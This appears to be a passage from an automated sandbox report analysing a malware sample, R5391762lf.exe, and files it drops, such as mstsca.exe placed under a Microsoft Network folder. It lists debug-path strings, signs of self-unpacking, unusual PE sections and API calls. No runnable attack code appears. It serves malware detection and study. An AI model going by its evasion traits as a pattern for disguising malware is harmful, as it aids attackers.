Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: R5391762lf.exe, 00000007.00000003.1681500127.0000000003386000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1946799099.00000000033B3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1682385197.000000000339B000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1948192992.00000000033B7000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1622139551.0000000003386000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1681962371.0000000003398000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\2a source: R5391762lf.exe, 00000007.00000003.2065679355.00000000037F3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2068384745.00000000038EE000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2067296704.00000000037F3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2068555631.000000000391E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2077993512.000000000391E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: R5391762lf.exe, 00000007.00000003.2149833514.000000000376F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: mstsca.exe, 00000021.00000000.3275270168.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\W source: R5391762lf.exe, 00000007.00000003.1682135563.000000000315F000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1682296747.000000000316C000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1682038409.000000000315E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1684204652.0000000003170000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1682185359.0000000003163000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\s\ source: R5391762lf.exe, 00000007.00000003.1948567038.0000000003699000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2049541715.0000000003691000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\AC\Temp\d.pdb\ source: R5391762lf.exe, 00000007.00000003.2162329285.000000000384C000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2162135110.00000000037FD000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2161241305.00000000037BF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ngs\ source: R5391762lf.exe, 00000007.00000003.2135149537.00000000033A3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: R5391762lf.exe, 00000007.00000003.2135081077.0000000003985000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2147440371.00000000039A6000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2135303170.00000000039D6000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2147135864.0000000003994000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: R5391762lf.exe, 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, R5391762lf.exe, 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, R5391762lf.exe, 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, R5391762lf.exe, 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ta\5 source: R5391762lf.exe, 00000007.00000003.2161564877.0000000003E55000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\ source: R5391762lf.exe, 00000007.00000003.1946209635.000000000342A000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1681707652.0000000003469000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1621610422.0000000003469000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1946440277.000000000344B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: HC:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: mstsca.exe, 00000021.00000000.3275270168.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ta\ source: R5391762lf.exe, 00000007.00000003.2102219376.0000000003B45000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2101597700.0000000003B45000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: R5391762lf.exe, 00000007.00000003.2065679355.00000000037F3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2049327479.0000000003858000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2050729410.0000000003870000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2068384745.00000000038EE000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2067296704.00000000037F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: _C:\tofagehu\hiv.pdb source: R5391762lf.exe, 00000000.00000000.1365440142.0000000000412000.00000002.00000001.01000000.00000003.sdmp, R5391762lf.exe, 00000000.00000002.1371228997.0000000000412000.00000002.00000001.01000000.00000003.sdmp, R5391762lf.exe, 00000002.00000000.1368723855.0000000000412000.00000002.00000001.01000000.00000003.sdmp, R5391762lf.exe, 00000005.00000000.1393141835.0000000000412000.00000002.00000001.01000000.00000003.sdmp, R5391762lf.exe, 00000005.00000002.1402790668.0000000000412000.00000002.00000001.01000000.00000003.sdmp, R5391762lf.exe, 00000006.00000000.1394677978.0000000000412000.00000002.00000001.01000000.00000007.sdmp, R5391762lf.exe, 00000006.00000002.1407678085.0000000000412000.00000002.00000001.01000000.00000007.sdmp, R5391762lf.exe, 00000007.00000003.1491373512.00000000097E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: R5391762lf.exe, 00000007.00000003.1946209635.000000000342A000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1681707652.0000000003469000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1621610422.0000000003469000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1946440277.000000000344B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\re\ source: R5391762lf.exe, 00000007.00000003.2163523307.000000000394E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2148622885.0000000003909000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2147135864.00000000038B9000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2161507868.000000000391E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2146207325.00000000038A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Y source: R5391762lf.exe, 00000007.00000003.2160881212.00000000038A9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: R5391762lf.exe, 00000007.00000003.2065679355.00000000037F3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2068464910.0000000003838000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2079953062.000000000382C000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2067296704.00000000037F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\BlB- source: R5391762lf.exe, 00000007.00000003.2135149537.00000000033A3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\AC\Temp\wy\ion Data\Application Data\Application Data\Microsoft\input\en-ZW\\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\2a source: R5391762lf.exe, 00000007.00000003.2163523307.000000000394E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2148622885.0000000003909000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2147135864.00000000038B9000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2161507868.000000000391E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2146207325.00000000038A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\\T source: R5391762lf.exe, 00000007.00000003.2079190952.000000000342A000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2078852071.0000000003429000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2083952112.000000000346D000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2067121029.0000000003429000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: load_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\M source: R5391762lf.exe, 00000007.00000003.2099831348.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2101510258.000000000370A000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2081263289.000000000373B000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1946934767.00000000036FF000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2100414663.0000000003703000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2102557757.0000000003712000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2049970590.000000000370B000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2079360767.00000000036F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\AC\ source: R5391762lf.exe, 00000007.00000003.2099254627.000000000380B000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2100295097.000000000397E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2077993512.000000000391E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\H\* source: R5391762lf.exe, 00000007.00000003.1682135563.000000000315F000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1682296747.000000000316C000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1682038409.000000000315E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1684204652.0000000003170000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1682185359.0000000003163000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: QNBBNQ~1.BGJQNBBNqWD9F_Blep-UqQSqnMp-FI[1].css.bgjs06avERkAqfuwcXY6H5w8dtNc[1].css.bgjst44F3556BE808F99573969118A8E36879BA1ADA6Ction Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: R5391762lf.exe, 00000007.00000003.2079953062.000000000382C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\db source: R5391762lf.exe, 00000007.00000003.1946209635.000000000342A000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2050202443.00000000034AD000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1947878317.00000000034AF000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2050850721.00000000034C5000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2049890930.00000000034A1000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1946440277.000000000344B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ata\ source: R5391762lf.exe, 00000007.00000003.2099254627.000000000380B000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2101371339.0000000003858000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2079953062.000000000382C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\ source: R5391762lf.exe, 00000007.00000003.2101462932.0000000003691000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\ source: R5391762lf.exe, 00000007.00000003.2080570314.00000000034B3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2078665185.0000000003491000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2066983991.00000000034D5000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2103034298.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2098976504.00000000034B3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2080800658.00000000034DD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\*F source: R5391762lf.exe, 00000007.00000003.2135261521.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2135214422.00000000034C4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\J source: R5391762lf.exe, 00000007.00000003.2161457141.0000000003AA1000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2147352148.0000000003A91000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\MSO source: R5391762lf.exe, 00000007.00000003.2049970590.000000000370B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\te\ source: R5391762lf.exe, 00000007.00000003.2161241305.00000000037BF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\ source: R5391762lf.exe, 00000007.00000003.1681931238.00000000031A7000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1681857238.0000000003192000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: R5391762lf.exe, 00000007.00000003.2162329285.000000000384C000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2162135110.00000000037FD000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2161241305.00000000037BF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\y\\ source: R5391762lf.exe, 00000007.00000003.2136464726.000000000379F000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2146776038.00000000037AF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: R5391762lf.exe, 00000007.00000003.1946209635.000000000342A000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2050202443.00000000034AD000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1947878317.00000000034AF000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2050850721.00000000034C5000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2049890930.00000000034A1000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1946440277.000000000344B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\s\U source: R5391762lf.exe, 00000007.00000003.2065679355.00000000037F3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2051158018.00000000037A8000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2067296704.00000000037F3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2082039763.00000000037F3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2051285855.00000000037C8000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2052379835.00000000037D7000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2049970590.000000000370B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\P source: R5391762lf.exe, 00000007.00000003.2135081077.0000000003985000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2147440371.00000000039A6000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2135303170.00000000039D6000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2147135864.0000000003994000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\s\\ source: R5391762lf.exe, 00000007.00000003.2066700717.000000000319C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: R5391762lf.exe, 00000007.00000003.2149833514.000000000376F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\D source: R5391762lf.exe, 00000007.00000003.2065679355.00000000037B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\* source: R5391762lf.exe, 00000007.00000003.2135261521.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2135214422.00000000034C4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\ source: R5391762lf.exe, 00000007.00000003.2099254627.000000000380B000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2100295097.000000000397E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2077993512.000000000391E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\Y' source: R5391762lf.exe, 00000007.00000003.2162329285.000000000384C000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2162135110.00000000037FD000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2161241305.00000000037BF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\^ source: R5391762lf.exe, 00000007.00000003.1946209635.000000000342A000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2050202443.00000000034AD000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1947878317.00000000034AF000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2050850721.00000000034C5000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2049890930.00000000034A1000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1946440277.000000000344B000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\R5391762lf.exe	Unpacked PE file: 2.2.R5391762lf.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Unpacked PE file: 8.2.R5391762lf.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Unpacked PE file: 11.2.build2.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Unpacked PE file: 14.2.R5391762lf.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe	Unpacked PE file: 16.2.build3.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 20.2.mstsca.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Unpacked PE file: 24.2.R5391762lf.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 28.2.mstsca.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 31.2.mstsca.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 33.2.mstsca.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\R5391762lf.exe	Unpacked PE file: 2.2.R5391762lf.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Unpacked PE file: 8.2.R5391762lf.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Unpacked PE file: 11.2.build2.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Unpacked PE file: 14.2.R5391762lf.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe	Unpacked PE file: 16.2.build3.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 20.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Unpacked PE file: 24.2.R5391762lf.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 28.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 31.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 33.2.mstsca.exe.400000.0.unpack

Source: C:\Users\user\Desktop\R5391762lf.exe

Code function: 2_2_00412220 GetCommandLineW,CommandLineToArgvW,PathFindFileNameW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,K32EnumProcesses,OpenProcess,K32EnumProcessModules,K32GetModuleBaseNameW,CloseHandle,

2_2_00412220

Source: build3[1].exe.7.dr	Static PE information: section name: .kic
Source: sqln[1].dll.11.dr	Static PE information: section name: .00cfg
Source: mstsca.exe.16.dr	Static PE information: section name: .kic

Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_00406805 push ecx; ret	0_2_00406818
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_0449B0AF push ecx; retf	0_2_0449B0B2
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EC8F05 push ecx; ret	0_2_05EC8F18
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00428565 push ecx; ret	2_2_00428578
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_044590AF push ecx; retf	5_2_044590B2
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DD8F05 push ecx; ret	5_2_05DD8F18
